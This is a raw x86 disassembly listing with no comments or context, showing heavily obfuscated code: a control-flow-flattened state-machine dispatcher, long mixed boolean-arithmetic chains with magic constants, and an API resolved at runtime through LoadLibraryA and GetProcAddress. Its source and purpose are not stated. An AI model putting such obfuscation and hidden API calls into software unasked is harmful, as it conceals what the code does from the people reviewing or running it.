cmp edx, 0x6c715517
mov edx, 0x99eed7be
mov esi, 0xff9de5f9
cmove edx, esi
jmp 0x100694b0
cmp edx, 0x650307b8
je 0x1006e48c
cmp edx, 0x652f4817
je 0x1006e640
jmp 0x100694b0
cmp edx, 0x8bfb176b
je 0x1006e4a7
cmp edx, 0x90f1ba14
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x91cdfa39
mov edx, 0xa195bcb1
mov esi, 0x67ce2459
cmovl edx, esi
jmp 0x100694b0
cmp edx, 0xd862ab0
je 0x1006e4c2
cmp edx, 0x1177cab0
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x4ca53e9f
mov edx, 0x99eed7be
mov esi, 0x7a7bb885
cmove edx, esi
jmp 0x100694b0
cmp edx, 0xcb668e45
je 0x1006e4db
cmp edx, 0xce8119b4
jne 0x100694b0
movzx edx, word [esp + 0xae]
mov esi, dword [esp + 0x1c]
mov ecx, esi
call fcn.10061c90
mov dword [esp + 0x50], eax
mov eax, dword [esp + 0x50]
cmp eax, 0xffffffff
mov eax, 0x7c45732d
mov ecx, 0xc655790a
cmove eax, ecx
cmp esi, 0xffffffff
jmp 0x1006e222
cmp edx, 0x6fcdfd92
je 0x1006e4f4
cmp edx, 0x706faf00
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x2542eee3
mov edx, 0xa7d9d6a6
mov esi, 0xb833a7e5
cmovl edx, esi
jmp 0x100694b0
cmp edx, 0xb03cccf9
je 0x1006e503
cmp edx, 0xb1afa29f
jne 0x100694b0
mov eax, dword [esp + 0x4c]
push 0
push 0x3f
push 0x100ada41
push dword [esp + 0x10d8]
call eax
mov ecx, 0xa2a2b2b3
mov dword [esp + 0x38], 0xffffffff
mov eax, 0x2e4d6d83
mov edx, 0x652f4817
jmp 0x100694b0
cmp edx, 0x2f35c00c
je 0x1006e51e
cmp edx, 0x30b47598
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x2542eee3
mov edx, 0x99eed7be
mov esi, 0xf1299185
cmove edx, esi
jmp 0x100694b0
cmp edx, 0xf267bfc4
je 0x1006e539
cmp edx, 0xf76cd616
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0xda61191e
mov edx, 0xa531674
mov esi, 0x81b3eed0
cmovl edx, esi
jmp 0x100694b0
cmp edx, 0x4ddd475e
je 0x1006e54f
cmp edx, 0x51feef21
jne 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x43bcf119
mov ecx, 0x85451fbc
mov edx, 0x74baa28c
jmp 0x1006949d
cmp edx, 0xa0423931
je 0x1006e565
cmp edx, 0xa0d0b025
jne 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x7c45732d
mov ecx, 0x85451fbc
mov edx, 0x4ca53e9f
jmp 0x1006949d
cmp edx, 0x1cd06fbd
je 0x1006e580
cmp edx, 0x1fa67498
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x9fe90b2a
mov edx, 0x3f7794e5
mov esi, 0x86ee8dc4
cmovl edx, esi
jmp 0x100694b0
cmp edx, 0xe5736942
je 0x1006e59b
cmp edx, 0xe8179078
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0x867c3e52
mov edx, 0x99eed7be
mov esi, 0x7d69afc0
cmove edx, esi
jmp 0x100694b0
cmp edx, 0x7d69afc0
je 0x1006e5b6
cmp edx, 0x7e065421
jne 0x100694b0
mov eax, dword [esp + 0xb0]
mov dword [esp + 0x74], eax
push 0x100ad8da
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x100ad8d0
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [esp + 0x74]
call eax
mov dword [esp + 0x1c], eax
cmp eax, 0xffffffff
mov eax, 0x2d6ed7d5
mov ecx, 0x55dcbf74
jmp 0x1006e222
cmp edx, 0xb833a7e5
je 0x1006e5d7
cmp edx, 0xc4e21d5c
jne 0x100694b0
mov edx, dword [esp]
cmp edx, 0xbed3c9a4
mov edx, 0x99eed7be
mov esi, 0x5ef62e7a
cmove edx, esi
jmp 0x100694b0
cmp edx, 0x3f7794e5
je 0x1006e5f2
cmp edx, 0x401216e7
jne 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0xc655790a
mov ecx, 0xbed3c9a4
mov edx, 0x900d1820
jmp 0x1006e5ca
cmp edx, 0xfebe68ee
je 0x1006e60d
cmp edx, 0xff9de5f9
jne 0x100694b0
mov ecx, dword [esp + 0x10]
cmp ecx, 0x2d6ed7d5
mov ecx, 0xadb26d9a
mov edx, 0x9327b184
jmp 0x1006e5ca
mov ecx, dword [esp + 0x10]
cmp ecx, 0x2d6ed7d5
mov ecx, 0x85451fbc
mov edx, 0x6a801bce
jmp 0x1006949d
mov edx, dword [esp]
cmp edx, 0xce65d572
mov edx, 0x99eed7be
mov esi, 0x79f14ddb
cmove edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0xec380b6e
mov edx, 0xc641a4a4
mov esi, 0xb5c8b410
cmovl edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0xf132c992
mov edx, 0x8afefc7c
mov esi, 0x4d7c2da6
cmovl edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x867c3e52
mov edx, 0xb03cccf9
mov esi, 0xb3d519ee
cmovl edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x9f998e6d
mov edx, 0x1fa67498
mov esi, 0x74a8ba29
cmovl edx, esi
jmp 0x100694b0
mov edx, dword [esp]
cmp edx, 0x2e01c3fe
mov edx, 0x99eed7be
mov esi, 0x7e065421
cmove edx, esi
jmp 0x100694b0
mov eax, dword [esp + 0x48]
mov dword [esp + 0x68], eax
mov edx, dword [esp + 0x68]
mov ecx, edx
mov esi, dword [esp + 0x98]
xor ecx, esi
sub ecx, edx
mov eax, edx
mov ebx, edx
or eax, esi
add eax, 1
mov edx, ecx
and edx, eax
xor eax, ecx
add eax, edx
add eax, edx
mov ecx, ebx
and ecx, esi
add ecx, ecx
mov edx, ebx
mov esi, dword [esp + 0x94]
or edx, esi
sub edx, ecx
mov edi, ebx
not edi
mov ecx, esi
or ecx, edi
mov dword [esp + 0x18], edi
add ecx, ecx
sub edx, ecx
add edx, eax
imul eax, edx, 0x48b66673
lea ecx, [eax + 0x6e93331a]
not ecx
mov edx, 0x916ccce5
sub edx, eax
or edx, 0x3aad165e
lea eax, [edx + eax*2]
add eax, 0xdd266634
or ecx, 0xc552e9a1
add ecx, eax
imul eax, ecx, 0xb91baebb
lea ecx, [eax + 0x3dc49820]
mov edx, 0x423b67df
sub edx, eax
and edx, 0x3472c556
or ecx, 0xcb8d3aa9
add ecx, edx
add ecx, eax
add eax, eax
add eax, 0x7b893040
sub eax, ecx
lea ecx, [eax - 0x951d2cb]
mov edx, ecx
and edx, ebx
mov esi, ecx
and esi, edi
add esi, esi
sub edx, esi
xor ecx, ebx
add ecx, edx
add ecx, edi
add eax, ecx
add eax, 0xf6ae2d35
imul eax, eax, 0xda1545b3
lea ecx, [eax - 0x25eaba4d]
mov edx, ecx
and edx, 0x7646d392
add eax, edx
add eax, 0xda1545b3
mov edx, ecx
or edx, 0x89b92c6d
add edx, eax
mov eax, ecx
xor eax, 0x7646d392
add eax, edx
sub eax, ecx
imul eax, eax, 0x292ef17b
add eax, 0x109f0aa1
mov ecx, eax
or ecx, 0x188fe6da
or eax, 0x67701925
add eax, ecx
add eax, eax
mov ecx, 0xf1b2076
sub ecx, eax
mov eax, ecx
xor eax, 0x403aee2b
add ecx, ecx
or ecx, 0x7f8a23a8
lea edx, [eax + ecx]
add eax, ecx
add eax, 1
lea ecx, [edx + edx]
add ecx, 2
neg ecx
mov edx, ecx
and edx, eax
add edx, ecx
not ecx
and ecx, eax
lea eax, [edx + ecx]
add ecx, edx
add ecx, 1
mov edx, eax
and edx, 1
or ecx, 0xfffffffe
add ecx, edx
add eax, ecx
add eax, 1
imul ecx, eax, 0x3c0a1db5
imul eax, eax, 0x87ebc496
add ecx, eax
add ecx, 0x33eb895
imul eax, ecx, 0xa6c65763
mov edx, eax
and edx, 0xcc5fb61
mov esi, edx
xor esi, 0xcc5fb61
add esi, edx
xor eax, 0xcc5fb61
add eax, esi
imul ecx, ecx, 0x4d8caec6
or ecx, 0xe674093c
add ecx, eax
imul eax, ecx, 0x5bf81b9f
lea ecx, [eax - 0x3bd634ab]
mov edx, ecx
and edx, 0xbea5c787
add edx, eax
add edx, 0xc429cb55
mov esi, 0x3bd634aa
sub esi, eax
and esi, 0x415a3878
add esi, edx
xor ecx, 0xbea5c787
add ecx, esi
imul eax, ecx, 0xaa3a405f
lea ecx, [eax - 0x55c5bfa1]
mov edx, ecx
mov dword [esp + 4], ebx
and edx, ebx
add edx, edx
neg edx
add edx, eax
add edx, 0xaa3a405f
add edx, ebx
mov esi, ecx
or esi, ebx
add esi, edx
xor ecx, ebx
not ecx
lea ecx, [esi + ecx*2]
add ecx, ebx
mov edx, 0x55c5bfa0
sub edx, eax
or edx, ebx
sub ecx, edx
add ecx, 1
imul eax, ecx, 0xc8077f33
imul ecx, ecx, 0x900efe66
mov edx, eax
xor edx, 0x77cb0a96
add edx, ecx
add eax, eax
not eax
and eax, 0x1069ead3
add eax, edx
imul ecx, eax, 0x52f493fb
lea edx, [ecx + ecx]
add edx, 0x2282e1a
mov esi, edx
and esi, 0x69a7724e
add ecx, esi
add ecx, 0x8114170d
imul eax, eax, 0x5a16d80a
add eax, ecx
and edx, 0x96588db0
add eax, edx
add eax, 0x490418be
imul ecx, eax, 0x51358de7
imul eax, eax, 0xa26b1bce
mov edx, ecx
xor edx, 0x8db2e909
add edx, eax
mov eax, ecx
xor eax, 0x724d16f6
add eax, edx
not ecx
add ecx, eax
imul eax, ecx, 0xcabc2d5b
add eax, 0x987ecb18
imul ecx, eax, 0xcaa81635
imul eax, eax, 0x6aafd396
lea edx, [eax + ecx]
lea ebp, [eax + ecx]
add ebp, 0x424db04a
mov edi, dword [esp + 0x24]
lea ecx, [edi + edx]
add ecx, 0x424db04a
mov eax, ebp
xor eax, edi
mov dword [esp + 0xc], eax
add ecx, eax
mov esi, ebp
or esi, edi
mov ebx, esi
not ebx
add ebx, ecx
mov eax, ebp
and eax, edi
add ebx, eax
mov ecx, ebp
and ecx, dword [esp + 0x58]
add eax, ecx
lea edi, [edx + edx]
add edi, 0x849b6094
sub edi, eax
mov eax, ebp
not eax
mov dword [esp + 8], eax
mov edx, dword [esp + 0x24]
and edx, eax
add edi, edx
add esi, esi
sub edi, esi
add edi, ebx
add ecx, dword [esp + 0x24]
not ecx
lea eax, [ecx + ecx*2]
sub edi, eax
add edx, dword [esp + 0xc]
lea esi, [edi + 1]
mov ebx, dword [esp + 0x58]
or ebp, ebx
add ebp, edx
mov ecx, 0xfffffffe
sub ecx, ebp
mov eax, esi
not eax
mov edx, ecx
and edx, eax
add edx, edi
add edx, 1
lea edx, [ecx + edx*2]
mov edi, esi
or esi, ecx
not esi
add esi, edx
xor edi, ecx
or eax, ecx
add eax, edi
sub esi, eax
add esi, ebx
mov eax, esi
mov ecx, dword [esp + 8]
and eax, ecx
add eax, esi
not esi
and esi, ecx
add esi, eax
lea eax, [esi + esi]
neg eax
lea ecx, [esi + esi]
add ecx, 0xffffffff
or ecx, esi
not esi
and eax, esi
add ecx, eax
sub esi, ecx
imul eax, esi, 0xde44505d
mov ecx, eax
xor ecx, 0xc6ffb1ed
add ecx, eax
xor eax, 0x39004e12
add eax, ecx
imul ecx, eax, 0x678603f5
mov dword [esp + 0xc], ecx
lea edx, [ecx + 0x565f12c6]
mov eax, edx
and eax, 0x6ed90ed0
add eax, eax
neg eax
add eax, ecx
add eax, 0x565f12c6
xor edx, 0x1126f12f
add edx, eax
mov dword [esp + 8], edx
mov eax, 0x7382a5bd
mov edx, dword [esp + 4]
sub eax, edx
mov ecx, eax
or ecx, 0x7382a5bd
add ecx, edx
and eax, 0x8c7d5a42
sub eax, ecx
lea esi, [eax + 0x7382a5bc]
mov edx, esi
mov ebx, dword [esp + 0x2c]
and edx, ebx
mov ecx, esi
not ecx
mov edi, ecx
and edi, ebx
lea edx, [edi + edx*2]
add ebx, eax
add ebx, 0x7382a5bc
sub edx, ebx
mov ebx, ecx
and ebx, dword [esp + 0x40]
lea edi, [ebx + edi*2]
lea ebx, [eax + edi]
add ebx, 0x7382a5bc
add edi, eax
add edi, 0x7382a5bd
xor edi, edx
lea edi, [edi + ebx*2]
add edi, 2
mov ebp, 0x7ffffffe
sub ebp, ebx
or ebp, edx
lea edx, [edi + ebp*2]
lea edi, [edi + ebp*2]
add edi, 2
mov ebp, dword [esp + 0x40]
or esi, ebp
mov ebx, dword [esp + 0x7c]
lea esi, [ebx + esi*2]
or ecx, ebp
lea ebx, [esi + ecx]
add ecx, esi
add ecx, 1
mov esi, 0xfffffffd
sub esi, edx
and esi, ecx
lea ecx, [esi + ebx]
add ecx, 1
mov esi, 0xfffffffe
sub esi, ebx
or esi, edi
add esi, ecx
lea ecx, [edx + esi]
add edx, esi
add edx, 3
add ecx, eax
add ecx, 0x7382a5c0
add eax, 0x7382a5bd
mov esi, edx
xor esi, eax
lea ecx, [esi + ecx*2]
or eax, edx
add eax, eax
sub ecx, eax
imul edx, ecx, 0xa1c61f1d
mov eax, edx
not eax
mov ecx, edx
and ecx, 0xd503fc26
add ecx, edx
and eax, 0x2afc03d9
add eax, ecx
xor edx, 0xd503fc26
add edx, eax
mov dword [esp + 0x14], edx
mov esi, dword [esp + 4]
mov edx, esi
mov ebx, dword [esp + 0x8c]
and edx, ebx
mov dword [esp + 0x20], edx
mov eax, esi
and eax, dword [esp + 0x54]
lea eax, [eax + edx*2]
mov ecx, eax
not ecx
sub eax, esi
mov ebp, esi
or ebp, dword [esp + 0x84]
sub ebp, dword [esp + 0x88]
mov edx, esi
sub edx, ebp
mov edi, dword [esp + 0x18]
add ebp, edi
and edx, eax
add edx, eax
add ecx, esi
mov esi, ecx
and esi, ebp
add esi, edx
or ecx, ebp
add ecx, esi
and ebp, eax
add ebp, ecx
mov edx, ebx
mov ecx, ebx
and edx, edi
mov esi, 0x5ff9eec
mov ebx, dword [esp + 4]
sub esi, ebx
mov dword [esp + 0x34], esi
add esi, esi
mov dword [esp + 0x30], esi
xor esi, 0xbff3dd8
add esi, edi
mov dword [esp + 0x44], esi
mov esi, dword [esp + 0x54]
or edi, esi
add edi, edi
sub edx, edi
mov edi, ecx
mov ecx, dword [esp + 0x20]
add ecx, edi
mov eax, ebx
or eax, esi
add ecx, eax
sub edx, ecx
lea ecx, [edx + ebp]
add edx, ebp
add edx, 0xfffffffe
mov ebp, 0x3d4c4433
sub ebp, ebx
lea esi, [ebx + 0x42b3bbcc]
and esi, 0x42b3bbcc
or ebp, 0xbd4c4433
add ebp, esi
sub ebp, ebx
mov dword [esp + 0x20], ebp
mov esi, ebx
xor esi, edi
mov ebx, edx
xor ebx, esi
mov ebp, esi
not ebp
or ebp, edx
add ebp, ebx
lea ecx, [esi + ecx*2]
add ecx, 0xfffffffc
sub ecx, ebp
and edx, esi
not edx
add edx, ecx
lea eax, [edx + eax*2]
lea ecx, [eax + eax]
mov edx, ecx
xor edx, 0xfffffffa
add edx, eax
or ecx, 4
add ecx, edx
not eax
add eax, eax
or eax, 0xfffffffa
add eax, ecx
add eax, 6
imul ecx, dword [esp + 0x14], 0x9fa99b35
lea edx, [ecx - 0x605664cb]
mov esi, edx
or esi, eax
not esi
lea ecx, [esi + ecx*2]
add ecx, 0x3f53366a
not eax
or eax, edx
add eax, eax
sub ecx, eax
imul eax, ecx, 0xfbb76de7
lea ecx, [eax + 0x4489219]
mov edx, ecx
and edx, 0xf35eebdd
lea eax, [eax + edx*2]
add eax, 0x4489219
mov edx, ecx
xor edx, 0x735eebdd
add edx, eax
mov eax, ecx
not eax
and eax, 0x735eebdd
add eax, edx
or ecx, 0x735eebdd
sub eax, ecx
imul ecx, eax, 0xe24355d7
add ecx, 0xa1fdbaf3
mov edx, ecx
or edx, 0xdfdd328d
mov eax, edx
not eax
sub eax, ecx
add eax, edx
mov edi, dword [esp + 0xc]
mov esi, dword [esp + 8]
lea ecx, [edi + esi]
mov edx, 0xa9a0ed39
sub edx, ecx
and edx, 0xcb318436
add esi, edi
add esi, 0x565f12c6
or esi, 0x34ce7bc9
lea ebx, [edx + 0x34ce7bca]
mov ebp, ebx
and ebp, esi
add ebp, edx
add ebp, 0x34ce7bca
add ebp, esi
xor ebx, esi
add ebx, ebp
add ebx, edx
mov ebp, 0xcb318435
sub ebp, edx
or ebp, esi
lea edx, [ebx + ebp]
lea esi, [ebx + ebp]
add esi, 2
mov ebx, dword [esp + 8]
add ebx, edi
add ebx, 0x565f12c7
mov ebp, 0xfffffffd
sub ebp, edx
and ebp, ebx
add edx, ebp
add edx, 2
add edx, ebx
mov ebx, 0xa9a0ed38
sub ebx, ecx
or ebx, esi
add ebx, edx
imul ecx, ebx, 0xae5c0e7d
lea edx, [ecx - 0x51a3f183]
mov esi, edx
not esi
and esi, 0x6b8dc051
add esi, ecx
mov ecx, edx
xor ecx, 0x94723fae
add ecx, esi
or edx, 0x6b8dc051
add ecx, edx
add ecx, 0xd7408ddb
imul edx, ecx, 0x6520b5aa
mov esi, edx
not esi
and esi, 0x95bb074
add esi, edx
imul ecx, ecx, 0x32905ad5
mov edx, ecx
xor edx, 0x7b5227c5
add edx, esi
not ecx
mov esi, ecx
and esi, 0x7b5227c5
add esi, edx
or ecx, 0x84add83a
sub esi, ecx
add esi, eax
imul eax, esi, 0xa7177d05
lea ecx, [eax - 0x66de280e]
and ecx, 0xc34e16bc
add eax, ecx
add eax, 0x9921d7f2
xor ecx, 0xc34e16bc
add ecx, eax
imul ecx, ecx, 0xbf9ac7cd
lea eax, [ecx + ecx]
add eax, 0xeb674ee8
mov edx, eax
not edx
add edx, edx
lea edx, [edx + ecx*4]
add edx, 0xd6ce9dd0
lea esi, [edx + ecx*2]
add esi, 0xeb674ee9
lea edx, [edx + ecx*2]
add edx, 0xeb674eea
mov ebx, edx
or ebx, 0x9663086c
sub esi, ebx
mov ebx, edx
xor ebx, 0x9663086d
add ebx, esi
and edx, 0x9663086c
mov ebp, 0x699cf793
sub ebp, ebx
sub ebp, edx
lea esi, [edx + ebx]
add esi, 0x9663086c
add ecx, 0xf5b3a774
mov edi, ecx
and edi, 0x34ce7bc9
mov edx, ecx
xor edx, 0xcb318436
mov ebx, edx
sub ebx, edi
add ebx, edx
or ecx, 0x34ce7bc9
lea edx, [ebx + ecx]
add ecx, ebx
add ecx, 1
or ebp, ecx
not ecx
and ecx, esi
add ecx, ecx
sub esi, ecx
lea ecx, [esi + edx]
add ecx, 1
add ebp, ebp
sub ecx, ebp
or eax, 0x9663086c
lea edx, [ecx + ecx]
add edx, 0xfffffffc
sub edx, eax
neg eax
mov esi, 1
sub esi, ecx
or esi, eax
add esi, edx
add ecx, 0xfffffffe
and eax, ecx
not eax
add eax, esi
imul eax, eax, 0x80d29473
lea ecx, [eax + 0x1a528e6]
mov edx, 0x7e5ad719
sub edx, eax
and edx, 0x4dd949fe
or ecx, 0xb226b601
add ecx, edx
lea edx, [eax + eax]
add edx, 0x34a51cc
add ecx, eax
sub edx, ecx
imul eax, edx, 0x2e4830bb
lea edx, [eax - 0x1f3f8433]
mov ecx, edx
xor ecx, 0xf0f75376
add eax, ecx
add eax, 0xe0c07bcd
xor edx, 0xf08ac89
add edx, eax
mov dword [esp + 8], edx
mov edx, dword [esp + 0x20]
mov eax, edx
mov ecx, dword [esp + 0x90]
or eax, ecx
not eax
add eax, ecx
lea ecx, [edx + eax]
add eax, edx
add eax, 1
add ecx, ecx
add ecx, 2
sub ecx, eax
imul eax, ecx, 0x13302115
mov edx, eax
and edx, 0x4c242e27
add edx, edx
mov esi, eax
sub esi, edx
mov edx, eax
or edx, 0xcc242e27
add edx, esi
imul ecx, ecx, 0x2660422a
xor ecx, 0x67b7a3b0
add ecx, edx
not eax
or eax, 0xcc242e27
sub ecx, eax
add ecx, 0x98485c4f
imul eax, ecx, 0xe7e3263d
imul ecx, ecx, 0xcfc64c7a
mov edx, eax
xor edx, 0x210dc94a
add edx, ecx
add eax, eax
or eax, 0x421b9294
sub edx, eax
mov eax, edx
neg eax
lea ecx, [eax + eax*2]
lea ecx, [ecx + edx*2]
lea esi, [edx - 1]
add edx, edx
xor eax, ecx
sub ecx, edx
add ecx, eax
mov edi, esi
sub edi, eax
lea eax, [ecx + edi]
add ecx, edi
add ecx, 1
sub esi, edx
mov edx, esi
not edx
mov edi, ecx
not edi
and esi, edi
and edi, edx
add eax, edi
add eax, 1
add eax, edx
add eax, esi
add eax, ecx
imul eax, eax, 0xeefd2807
lea ecx, [eax - 0x1102d7f9]
mov edx, ecx
and edx, 0x491ca040
add eax, edx
add eax, 0xeefd2807
mov edx, ecx
and edx, 0xb6e35fbf
mov esi, edx
xor esi, 0xb6e35fbf
add esi, eax
not ecx
or ecx, 0xb6e35fbf
add ecx, esi
add ecx, edx
imul eax, ecx, 0x302dc5b7
lea edi, [eax - 0x42670418]
lea ecx, [edi + edi*2]
or edi, 0x18ca5d46
sub ecx, edi
not edi
add edi, ecx
add eax, eax
add eax, 0x7b31f7d0
or eax, 0xce6b4572
sub edi, eax
lea ecx, [edi + edi]
add ecx, 0x3194ba8a
mov dword [esp + 0xc], ecx
lea eax, [edi*4 + 0x63297518]
sub ecx, eax
lea eax, [ecx + edi]
add eax, 0x18ca5d48
mov ebx, 0xe735a2ba
sub ebx, edi
lea ecx, [edi + edi]
add ecx, 0x3194ba8c
mov dword [esp + 0x14], ecx
mov edx, eax
sub edx, ecx
mov ebp, eax
xor ebp, ebx
add ebp, edx
mov edx, eax
or edx, ebx
sub ebp, edx
lea ecx, [edi + 0x18ca5d45]
mov dword [esp + 4], ecx
or eax, ecx
add eax, ebp
lea ebp, [edi + eax]
add ebp, 0x18ca5d46
lea ecx, [edi + eax]
add ecx, 0xdc6274da
mov eax, ecx
xor eax, 0x3c67e86d
add eax, ebp
mov ebp, ecx
not ebp
and ebp, 0xc3981792
add ebp, eax
and ecx, 0x3c67e86d
add ebp, ecx
add ebp, 2
mov eax, ebp
and eax, 0xb069a865
lea ecx, [eax + eax]
xor ecx, 0x60d350ca
add ecx, eax
mov esi, ebp
or esi, 0x4f96579a
lea edx, [esi + ecx]
add edx, 1
add ecx, esi
mov eax, edx
not eax
and eax, 0xb069a864
add eax, ecx
mov ecx, edx
xor ecx, 0x4f96579b
add ecx, eax
or edx, 0xb069a864
lea eax, [ecx + edx]
add ecx, edx
add ecx, 0x9f2caf39
lea edx, [eax + eax]
add edx, 0x3e595e72
not edx
and edx, 0x60d350cc
lea eax, [edx + eax*2]
add eax, 0x3e595e72
mov edx, ecx
xor edx, 0x4f965799
add edx, eax
not ecx
mov eax, ecx
and eax, 0x4f965799
add eax, edx
or ecx, 0xb069a866
sub eax, ecx
mov ecx, ebp
xor ecx, 0x4f96579a
xor ebp, 0xb069a865
add ebp, ecx
add ebp, esi
lea ecx, [eax + ebp]
add eax, ebp
add eax, 0x1cfc2da1
and eax, 0x936d7ac7
add eax, ecx
add eax, 0x1cfc2da1
mov esi, 0xe303d25e
sub esi, ecx
and esi, 0x936d7ac7
add esi, eax
mov ecx, dword [esp + 4]
mov eax, ecx
and eax, 0x4f96579a
xor ecx, 0x4f96579a
add ecx, eax
neg eax
mov edx, eax
and edx, ecx
add edx, ecx
mov ebp, eax
xor ebp, ecx
add ebp, edx
not ecx
or ecx, eax
lea eax, [ecx + ebp]
add ecx, ebp
add ecx, 1
mov edx, dword [esp + 0xc]
and edx, 0x60d350ca
mov ebp, dword [esp + 4]
xor ebp, 0x3069a865
add ebp, edx
mov edx, ebp
mov ebp, dword [esp + 0x14]
neg ebp
or ebp, 0x1f2caf34
add ebp, edx
mov edx, ebp
add edx, ebp
lea eax, [edx + eax*2 + 6]
lea edx, [ebp + 4]
add edx, ebp
mov ebp, ecx
not ebp
or ebp, edx
add ebp, eax
and ecx, edx
not ecx
lea eax, [ecx + ebp]
add ecx, ebp
add ecx, 2
mov edx, 0x7ffffffd
sub edx, eax
and edx, 0x4f96579b
or ecx, 0xb069a864
add ecx, edx
add ecx, eax
add eax, eax
add eax, 4
sub eax, ecx
mov ecx, ebx
and ecx, 0x3069a865
add ecx, ecx
mov edx, ebx
xor edx, 0x4f96579a
sub edx, ecx
or ebx, 0x4f96579a
add ebx, edx
neg ebx
lea ecx, [edi + ebx]
add ecx, 0x18ca5d46
add ecx, eax
imul eax, ecx, 0x3b19ee91
lea ecx, [eax + 0x5511b752]
mov edx, ecx
and edx, 0x8cd302fa
add eax, edx
add eax, 0x5511b752
mov edx, ecx
or edx, 0x732cfd05
add edx, eax
mov eax, ecx
xor eax, 0x8cd302fa
add eax, edx
sub eax, ecx
imul eax, eax, 0x550f9271
add eax, 0x48c76cb
mov ecx, eax
or ecx, 0x50831ba6
or eax, 0xaf7ce459
lea edx, [ecx + eax]
mov dword [esp + 4], edx
add ecx, eax
add ecx, 0x50831ba7
mov edx, esi
or edx, ecx
mov ebp, esi
xor ebp, ecx
not ebp
add ebp, esi
add ebp, edx
mov edi, ebp
and edi, ecx
mov ebx, esi
not esi
or esi, ecx
not ecx
add edi, ecx
mov eax, ebp
xor eax, ecx
sub edi, eax
or ebp, ecx
add ebp, edi
or ebx, ecx
add ebx, ecx
mov eax, dword [esp + 4]
lea eax, [ebx + eax*2]
add eax, 0xa106374e
add esi, edx
sub esi, eax
add esi, esi
mov eax, ebp
and eax, esi
mov ecx, ebp
or ecx, esi
not ecx
lea ecx, [ecx + ecx*2]
sub eax, ecx
mov ecx, ebp
xor ecx, esi
not ecx
add ecx, eax
not esi
add esi, ecx
not ebp
add ebp, esi
imul eax, ebp, 0x51a80db
mov ecx, eax
and ecx, 0x9cacadf0
add eax, ecx
xor ecx, 0x9cacadf0
add ecx, eax
imul eax, ecx, 0xc22d7b53
lea ecx, [eax - 0x36beb4d0]
mov edx, 0x36beb4cf
sub edx, eax
and edx, 0x4f96579a
sub edx, eax
mov esi, ecx
xor esi, 0x4f96579a
add esi, edx
or ecx, 0xb069a865
add ecx, esi
add eax, ecx
add eax, 1
imul ecx, eax, 0x8a87a125
mov edx, ecx
and edx, 0x531db4e
mov esi, edx
xor esi, 0x531db4e
add esi, edx
xor ecx, 0x531db4e
add ecx, esi
imul eax, eax, 0x150f424a
or eax, 0xf59c4962
add eax, ecx
imul eax, eax, 0xd9a26d53
mov esi, dword [esp + 8]
lea ecx, [esi + esi*2]
add ecx, 0xd2e5fa62
lea edx, [esi + esi]
add edx, 0xe1eea6ec
sub edx, ecx
lea ecx, [esi + edx*2]
add ecx, 0xf0f75376
lea edx, [esi + edx*2]
add edx, 0xf0f75374
mov esi, edx
and esi, 0xfffffffe
add ecx, esi
add ecx, 0xfffffffe
mov esi, edx
not esi
and esi, 1
add esi, ecx
xor edx, 0xfffffffe
add edx, esi
imul ecx, edx, 0x67667b29
mov edx, 0x313309ad
sub edx, ecx
mov esi, edx
and esi, 0xd63abe55
add esi, ecx
add esi, 0xceccf652
add ecx, 0xceccf652
xor ecx, 0x29c541aa
add ecx, esi
or edx, 0xd63abe55
sub ecx, edx
add ecx, 0xd63abe55
imul edx, ecx, 0xd0965119
imul ecx, ecx, 0xa12ca232
mov esi, ecx
and esi, 0x2f86f698
add esi, edx
not edx
lea edx, [esi + edx*2]
and ecx, 0xd0790966
add edx, ecx
add edx, 0xe83c84b5
lea ecx, [eax - 0x4cbb255a]
mov esi, 0x4cbb2559
sub esi, eax
and esi, 0xfffffffe
neg esi
add eax, esi
add eax, 0xb344daa6
or ecx, 1
sub eax, ecx
sub eax, ecx
lea esi, [eax + ecx]
add eax, ecx
add eax, 0xfffffffd
mov ecx, eax
xor ecx, 0xfffffffd
lea ecx, [ecx + esi*2]
add ecx, 0xfffffffa
mov esi, eax
not esi
or eax, 0xfffffffd
sub ecx, eax
or esi, 0xfffffffd
add esi, ecx
imul eax, esi, 0x5b2ca5a1
lea ecx, [eax + 0x1185f0e3]
mov esi, ecx
or esi, 0xf52f8388
add eax, esi
add eax, 0x1185f0e3
mov esi, ecx
xor esi, 0xad07c77
add esi, eax
not ecx
or ecx, 0xad07c77
add ecx, esi
imul ecx, ecx, 0x50907e61
mov dword [esp + 4], ecx
lea edi, [ecx - 0x5edf033e]
mov esi, edx
and esi, edi
mov eax, edx
xor eax, edi
mov ebp, esi
sub ebp, eax
sub ebp, eax
mov ebx, edx
or ebx, edi
lea ebx, [ebx*2]
add ebx, ebp
not esi
lea esi, [ebx + esi*2]
add esi, 2
mov dword [esp + 8], esi
mov ebx, 0x5edf033d
sub ebx, ecx
mov ebp, edx
and ebp, ebx
lea ecx, [esi + esi*2]
add ecx, ebp
mov esi, dword [esp + 8]
or esi, ebp
sub ecx, esi
not esi
add esi, ecx
not ebp
or ebp, dword [esp + 8]
add ebp, ebp
sub esi, ebp
mov ecx, edx
not ecx
mov dword [esp + 8], ecx
lea ebp, [esi - 1]
and ebp, ecx
add ebp, esi
add ebp, 0xffffffff
add ebp, edx
neg esi
or esi, edx
lea ecx, [esi + ebp]
mov dword [esp + 0xc], ecx
lea ecx, [esi + ebp]
add ecx, 1
mov ebp, 0xdedf033d
sub ebp, dword [esp + 4]
and ebp, ecx
mov esi, dword [esp + 0xc]
lea ebp, [esi + ebp*2]
add ebp, 1
mov esi, dword [esp + 4]
lea ebp, [ebp + esi*2 + 0x4241f984]
mov esi, ecx
or esi, edi
not esi
add esi, ebp
mov ebp, ecx
xor ebp, edi
or ecx, ebx
add ecx, ebp
sub esi, ecx
mov ebp, dword [esp + 8]
and edi, ebp
or ebx, edx
add ebx, edi
